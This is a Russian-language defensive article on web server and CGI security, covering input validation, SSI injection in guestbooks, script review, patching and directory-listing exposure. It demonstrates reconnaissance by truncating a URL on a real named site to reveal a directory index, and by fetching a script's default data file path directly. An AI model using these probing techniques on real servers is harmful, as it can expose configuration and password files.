Создавайте и постоянно проверяйте, анализируйте регистрационные или log-файлы (log files) фашей системы.

Защита вашего web сервера - это серьезный вопрос, к которому вы должны подходить с особым вниманием и уделять этому достаточно времени. К сожалению, слишком много администраторов в сети, которые приходят к ошибочному мнению на основании высказывания типа "так как мой сайт не имеет высокой посещаемости в сети, то его 'ломать' никто не будет". В действительности же, как только ваш источник информации попадает в сеть (например Internet), в тот же момент значительное количесво хакеров, не имея на то особых оснований или причин, просто с целью нанести ущерб, осуществляет попытки взломать вашу систему. Как только хакер получает доступ к вашей системе, он может осуществлять действия различного рода.

Рассмотрим некоторые виды возможных действий:

Ваша информация/данные/файлы будут удалены (уничтожены).

Ваша информация/данные/файлы будут проданы вашему конкурену.

Ваша информация/данные/файлы будут модифицированны или изменены, подобно как в случае с сайтами ЦРУ (CIA) и др.

Хакер использует ваш сайт, чтобы предпринять ряд атак на другие сервера. Например он может использовать ваш сайт для атаки на сервер Белого Дома (White House Site) от вашего лица.

Защита и Web сервера.

Web сервер - это один из наиболее опасных сервисов предлагаемых в сети. По существу, сервер дает всей сети доступ к внутренней работе вашей файловой системы. Это уже огромный недостаток, так как програмное обеспечение сервера было ограничено временными границами (с конца 80х годов) для проверки и исследования на наличие в нем "дыр" и лазеек в системе безопасности. Таким образом сайты в сети базируются на чрезвычаино мощных програмных продуктах, которые были проверены на наличие ошибок только частично.Это было бы не так плохо, если бы сервера администрировались людьми, обладающими значительным опытом в безопасности и администрировании систем, а не графического оформления и дизайна сервера. Множество сайтов в сети созданы людьми, пределом знаний которых является html, а на чтение статей такого типа и изучение проблем безопасности у них просто нет времни.

Это не должно указывать пальцем на кого-либо. Не так уж много людей имеющих возможность, время или способности, чтобы заниматься защитой - это так и должно быть. Дело в том, что неправильные пароли, плохо написанные программы, общедоступные файлы и каталоги и т.д будут всегда частью проблемы.

Ну и в заключение хочется повторить те слова, которые были сказаны в качестве эпиграфа:

CGI-сценарии несут в себе столько же опасности, сколько и пользы. Но это не говорит о том, что вы не должны ими пользоваться. На то и существует компьютерная безопасность, чтобы брать ситуацию в свои руки. Вы никогда не можете быть в полной безопасности, если предоставляете определенный сервис или какие-то услуги. Однако без последнего вы можете ровно столько же, сколько и без самого компьютера. Таким образом, защита становится важнее, в рамках приемлемого риска и с учетом возможного восстановления, после нарушения работы системы, чем полная недоступность. Это - ваша работа, удостовериться, что всех отрицательных аспектов, касающихся безопасности вашего web-сервера, значительно меньше чем положительных.

Пользовательский ввод.

"Любой ввод со стороны пользователя постоянно подвергается попыткам атаки." Выучите эти слова и повторяйте их сами себе каждый день. От вас требуется анализировать любую информацию и данные, передаваемые CGI-скрипту от пользователя. Хакер может с легкостью испытывать ваше CGI-приложение на выполнение команд, которые могут скомпроментировать систему.

Стоит добавить, что если на сервере включена поддержка SSI, то если CGI-скрипт позволяет ввести пользователю текст, кторый потом будет интерпетироваться браузером пользователя, что происходит в приложениях типа гостевой книги (GuestBook), то хакер может легко ввести SSI-команды, которые браузер успешно выпольнит. Это достаточно часто всречающаяся ошибка в приложениях подобного рода.

Решение этой проблемы сводится к тому, чтобы фильтровать все данные, передаваемые пользователем и удалять любое вхождение SSI-кода. Как правило, это строки типа "<!" , "<-". Лучшим вариантом конечно будет отключить выполнение команд SSI, особенно в сочетании с CGI, т.к. в комплексе они составляют двойную опасность.

Другое, что хотелось бы сказать в заключение, что хакер может и не воспользоваться браузером, а получать и отправлять http-трафик своей программой, что дает ему возможность изменять количество полей формы ввода, просматривать информацию в полях hidden-типа (скрытых полях), которые используются для ввода паролей. Таким образом хакер может передать CGI-сценарию лишнее поле, что может повлиять на устойчивось системы. Поэтому подобного рода данные тоже нужно ограничивать и проверять.

Предпросмотр скриптов.

Само собой разумеется, что каждый сценарий, устанавливаемый на сервер должен быть изучен и просмотрен как можно большим числом квалифицированных людей. Лучшим вариантом будет отдать системному администратору копию вашего кода (до и после его модификации вами), а так же информацию откуда был взят код и другую возможную информацию, которая может быть полезна администратору. Не думайте о вашем системном администраторе как о параноидальном фашисте. Ведь он проделывает достаточно серьезную работу. Помогите облегчить создание более надежной среды, даже если у вас это отнимет чуть больше времени, чем обычно. Помимо этого, Вы должны читать код самостоятельно! И помните, что, любая часть кода, которую вы не понимаете, несет в себе опасность. Как заказчик, требуйте, чтобы авторы сценария коментировали его ясно и полностью.

Однако, стоит сказать, что дальнейшая ответственность за безопасность системы ложится на вас. Вы должны отслеживать выпуск очередных заплат (patches), исправления ошибок (bug fixes), и так называемых "security announcements". Зачастую эту информацию можно получить там, откуда был взят код. Как только информация подобного рода попадает к вам в руки, вы должны с максимально возможной оперативностью модифицировать вашу систему.

Тот факт, что эта информация доступна вам, говорит о том, что она доступна и хакерам, которые попытаются использовать ее с наибольшей выгодой для себя, а соответственно в ущерб вашей системе.

Дальнейшая поддержка и ответственность - это важный аспект для внештатных разработчиков CGI кода, которые написав сценарий и установив его на сервер, как правило, исчезают из поля зрения заказчика. Необходимо, чтобы ответственность за дальнейшее исправление ошибок, выпуск заплат и подобного рода деятельность ложилась на плечи автора, в противном случае последний должен оставлять клиенту информацию как и где можно получить очередную модификацию кода а также руководство по его установке. Либо же информацию о людях, которые уполномочены и имеют достаточную квалификацию для проведения подобного рода работ.

Защита от "Дурачка".

Вы когда-нибудь изучали web сервер в Internet, путем модификации его URL? К примеру, давайте взглянем на U.S. Census Page, которая находится по адресу http://cedr.lbl.gov/cdrom/doc/lookup_doc.html

Предположим, что мы заинтересованы в том, чтобы также и другие файлы находились в каталоге "/doc" (это могут быть документы, находящиеся в стадии разработки, или просто документы о которых забыли, или же документы, предназначеные для внутреннего пользования). Теперь просто удаляем часть строки, содержащую имя документа "lookup_doc.html". Останется "http://cedr.lbl.gov/cdrom/doc/". И наблюдаем, настроен ли их сервер на генерацию динамического списка.

В данном случае фокус удался и мы получаем сгенерированный сервером динамический индекс каталога "/doc", методом удаления части строки.

Таким образом мы можем видеть сгенерированный список всех файлов и подкаталогов. Фактически, множество серверов в сети сконфигурированы так, что если пользоватьель не указал конкретного имени документа, типа "index.html", то сервер выведет распечатку каталога очень похожую на эту. Все бы ничего, но если сервер настроен так, что можно аналогичным способом получить индекс каталога, где находятся cgi-скрипты, то последствия могут обернуться для системы очень плачевно:

Что вы думаете произойдет, когда пользователь нажмет на файл "auth.setup"? Так как web-сервер должен будет выполнить этот CGI скрипт, соответственно он должен будет также иметь разрешение на его чтение. Таким образом хакер получит содержимое вашего setup-файла в окне браузера. Как вы понимаете данный файл может содержать в себе различные ключи, пути, кофигурационные настройки - и это не единственные файлы несущие в себе компроментирующие данные. Другие файлы могут оказаться файлами паролей, временными файлами, файлами пользователей и другими файлами, которые могут дать хакеру информацию, позволяющую использовать вашу систему в его интересах.

Для предотвращения подобных ситуаций необходимо выполнять следущие правила:

Конфигурируйте свой web- сервер так, чтобы он не генерировал динамических индексов, а выдавал сообщение об ошибке.

Конфигурируйте свой web-сервер так, чтобы он не выполнял никаких файлов кроме *.cgi, и тех, который не находятся в каталоге /cgi-bin

Предоставте серверу файл index.html, даже если он не несет в себе никакой информации. Таким образом если даже сервер некорректно сконфигурирован с точки зрения CGI безопасности, хакер не сможет воспользоваться данной лазейкой.

Существует еще один аспект безопасности, который вы должны учитывать при установке уже написанных, готовых CGI скриптов. Ведь любой другой человек может точно так же получить исходный код вашего скрипта тамже, где взяли его и вы. Таким образом он будет знать все по умолчанию установленные конфигурационные настройки, с которым поставляется код. Поэтому, если вы не измените заданные по умолчанию имена файлов и каталогов, хакер может обратится к файлу напрямую, даже если вы учли все предыдущие моменты.

Другими словами, если я знаю, что вы используете CGI крипт с правами на запись, кторый в свое время использует файл "users.dat" в каталоге "/ScriptA/Users", то я могу обратится к нему непосредственно следующим способом:

http://www.yourdomain.com/cgi-bin/ScriptA/Users/users.dat

Таким образом, как только вы сделали невозможным для хакера получить сгенерированный динамический список, изменили все по умолчанию заданные параметры, имена файлов и каталогов, тем самым вы усложнили жизнь хакеру и облегчили свою.

---

---